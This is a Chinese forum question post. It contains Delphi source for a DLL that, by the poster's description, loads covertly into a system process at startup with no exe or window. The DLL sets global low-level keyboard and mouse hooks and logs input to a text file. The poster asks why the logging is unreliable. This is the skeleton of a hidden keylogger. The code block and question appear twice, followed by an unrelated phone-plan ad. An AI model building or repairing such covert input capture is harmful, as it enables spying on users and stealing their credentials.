无exe无窗口的DLL 随系统启动自动加载到系统进程,捕获键盘消息和鼠标消息,library Project2;
uses
SysUtils,
Classes,
uHookKeyAndMouse in 'uHookKeyAndMouse.pas';{$R *.res}begin
StartHookKeyMouse;//安装钩子
end.unit uHookKeyAndMouse;
interface uses
Windows, Messages, SysUtils; const
WH_KEYBOARD_LL =13;
WH_MOUSE_LL =14; type
tagKBDLLHOOKSTRUCT = packed record
vkCode: DWORD;
scanCode: DWORD;
flags: DWORD;
time: DWORD;
dwExtraInfo: DWORD;
end;
KBDLLHOOKSTRUCT = tagKBDLLHOOKSTRUCT;
PKBDLLHOOKSTRUCT = ^KBDLLHOOKSTRUCT;
type
PMSLLHOOKSTRUCT=^MSLLHOOKSTRUCT;
MSLLHOOKSTRUCT = record
pt:TPoint;
mouseData:DWORD;
flags:DWORD;
time:DWORD;
dwExtraInfo:DWORD;
end;procedure StartHookKeyMouse;
procedure StopHookKeyMouse; implementation var
hhkLowLevelKybd:HHook=0;
hhkLowLevelMouse:HHook=0;Procedure WriteTxt(sFileName,sText:String); //写txt文件
Var
F:TextFile;
Begin
AssignFile(F,sFileName);
IF FileExists(sFileName) Then
Append(F)
Else
ReWrite(F);
WriteLn(F,sText);
CloseFile(F);
End;function LowLevelKeyboardProc(nCode:Integer; WParam:WPARAM; LParam:LPARAM):LRESULT; stdcall;
var
p: PKBDLLHOOKSTRUCT;
begin
Result:=0;
p := PKBDLLHOOKSTRUCT(lParam);
if (WParam=256) or (WParam=257) then // 判断键盘按下弹起
begin
if p.vkCode=13 then //判断回车
begin
WriteTxt('0.txt',inttostr(p.vkCode));//写入txt
end;
end;
Result:=0;
if nCode<>0 then Result:=CallNextHookEx(0,nCode,WParam,LParam);
end;function LowLevelMouseProc(nCode:Integer; WParam:WPARAM; LParam:LPARAM):LRESULT; stdcall;
var
p:PMSLLHOOKSTRUCT;
begin
Result:=0;
p:=PMSLLHOOKSTRUCT(LParam);
if (WParam=513) or (WParam=514) then //判断鼠标按下弹起
begin
{if (p.pt.X>10) and (p.pt.X<100) and (p.pt.y>10) and (p.pt.y<100) then //判断鼠标是否在x=10,110 y=10,100 处按下,
begin
WriteTxt('0.txt',inttostr(WParam)+'////////////'+inttostr(p.pt.X)+'/'+inttostr(p.pt.y));//坐标写入文本
end;}
end;
Result:=0;
if nCode<>0 then Result:=CallNextHookEx(0,nCode,WParam,LParam);
end;procedure StartHookKeyMouse;
begin
if hhkLowLevelKybd = 0 then
begin
hhkLowLevelKybd := SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc, Hinstance, 0);
end;
if hhkLowLevelMouse = 0 then
begin
hhkLowLevelMouse:=SetWindowsHookEx(WH_MOUSE_LL,LowlevelMouseProc,HInstance,0);
end;
end;procedure StopHookKeyMouse;
begin
if hhkLowLevelKybd <> 0 then
begin
UnhookWindowsHookEx(hhkLowLevelKybd);
hhkLowLevelKybd:=0;
end;
if hhkLowLevelMouse <> 0 then
begin
UnHookWindowsHookEx(hhkLowLevelMouse);
hhkLowLevelMouse:=0;
end;
end;initialization
hhkLowLevelKybd:=0;
hhkLowLevelMouse:=0;
finalization
if hhkLowLevelKybd <> 0 then UnhookWindowsHookEx(hhkLowLevelKybd);
if hhkLowLevelMouse <> 0 then UnhookWindowsHookEx(hhkLowLevelMouse);
end.
现在的问题是随系统启动是成功了,钩子ID 也有了,就表示挂钩成功,但是为什么不管执行任何动作都不会写文本呢,有时候又可以,问题出在什么地方?
uses
SysUtils,
Classes,
uHookKeyAndMouse in 'uHookKeyAndMouse.pas';{$R *.res}begin
StartHookKeyMouse;//安装钩子
end.unit uHookKeyAndMouse;
interface uses
Windows, Messages, SysUtils; const
WH_KEYBOARD_LL =13;
WH_MOUSE_LL =14; type
tagKBDLLHOOKSTRUCT = packed record
vkCode: DWORD;
scanCode: DWORD;
flags: DWORD;
time: DWORD;
dwExtraInfo: DWORD;
end;
KBDLLHOOKSTRUCT = tagKBDLLHOOKSTRUCT;
PKBDLLHOOKSTRUCT = ^KBDLLHOOKSTRUCT;
type
PMSLLHOOKSTRUCT=^MSLLHOOKSTRUCT;
MSLLHOOKSTRUCT = record
pt:TPoint;
mouseData:DWORD;
flags:DWORD;
time:DWORD;
dwExtraInfo:DWORD;
end;procedure StartHookKeyMouse;
procedure StopHookKeyMouse; implementation var
hhkLowLevelKybd:HHook=0;
hhkLowLevelMouse:HHook=0;Procedure WriteTxt(sFileName,sText:String); //写txt文件
Var
F:TextFile;
Begin
AssignFile(F,sFileName);
IF FileExists(sFileName) Then
Append(F)
Else
ReWrite(F);
WriteLn(F,sText);
CloseFile(F);
End;function LowLevelKeyboardProc(nCode:Integer; WParam:WPARAM; LParam:LPARAM):LRESULT; stdcall;
var
p: PKBDLLHOOKSTRUCT;
begin
Result:=0;
p := PKBDLLHOOKSTRUCT(lParam);
if (WParam=256) or (WParam=257) then // 判断键盘按下弹起
begin
if p.vkCode=13 then //判断回车
begin
WriteTxt('0.txt',inttostr(p.vkCode));//写入txt
end;
end;
Result:=0;
if nCode<>0 then Result:=CallNextHookEx(0,nCode,WParam,LParam);
end;function LowLevelMouseProc(nCode:Integer; WParam:WPARAM; LParam:LPARAM):LRESULT; stdcall;
var
p:PMSLLHOOKSTRUCT;
begin
Result:=0;
p:=PMSLLHOOKSTRUCT(LParam);
if (WParam=513) or (WParam=514) then //判断鼠标按下弹起
begin
{if (p.pt.X>10) and (p.pt.X<100) and (p.pt.y>10) and (p.pt.y<100) then //判断鼠标是否在x=10,110 y=10,100 处按下,
begin
WriteTxt('0.txt',inttostr(WParam)+'////////////'+inttostr(p.pt.X)+'/'+inttostr(p.pt.y));//坐标写入文本
end;}
end;
Result:=0;
if nCode<>0 then Result:=CallNextHookEx(0,nCode,WParam,LParam);
end;procedure StartHookKeyMouse;
begin
if hhkLowLevelKybd = 0 then
begin
hhkLowLevelKybd := SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc, Hinstance, 0);
end;
if hhkLowLevelMouse = 0 then
begin
hhkLowLevelMouse:=SetWindowsHookEx(WH_MOUSE_LL,LowlevelMouseProc,HInstance,0);
end;
end;procedure StopHookKeyMouse;
begin
if hhkLowLevelKybd <> 0 then
begin
UnhookWindowsHookEx(hhkLowLevelKybd);
hhkLowLevelKybd:=0;
end;
if hhkLowLevelMouse <> 0 then
begin
UnHookWindowsHookEx(hhkLowLevelMouse);
hhkLowLevelMouse:=0;
end;
end;initialization
hhkLowLevelKybd:=0;
hhkLowLevelMouse:=0;
finalization
if hhkLowLevelKybd <> 0 then UnhookWindowsHookEx(hhkLowLevelKybd);
if hhkLowLevelMouse <> 0 then UnhookWindowsHookEx(hhkLowLevelMouse);
end.
现在的问题是随系统启动是成功了,钩子ID 也有了,就表示挂钩成功,但是为什么不管执行任何动作都不会写文本呢,有时候又可以,问题出在什么地方?
解决方案 »
免费领取超大流量手机卡,每月29元包185G流量+100分钟通话, 中国电信官方发货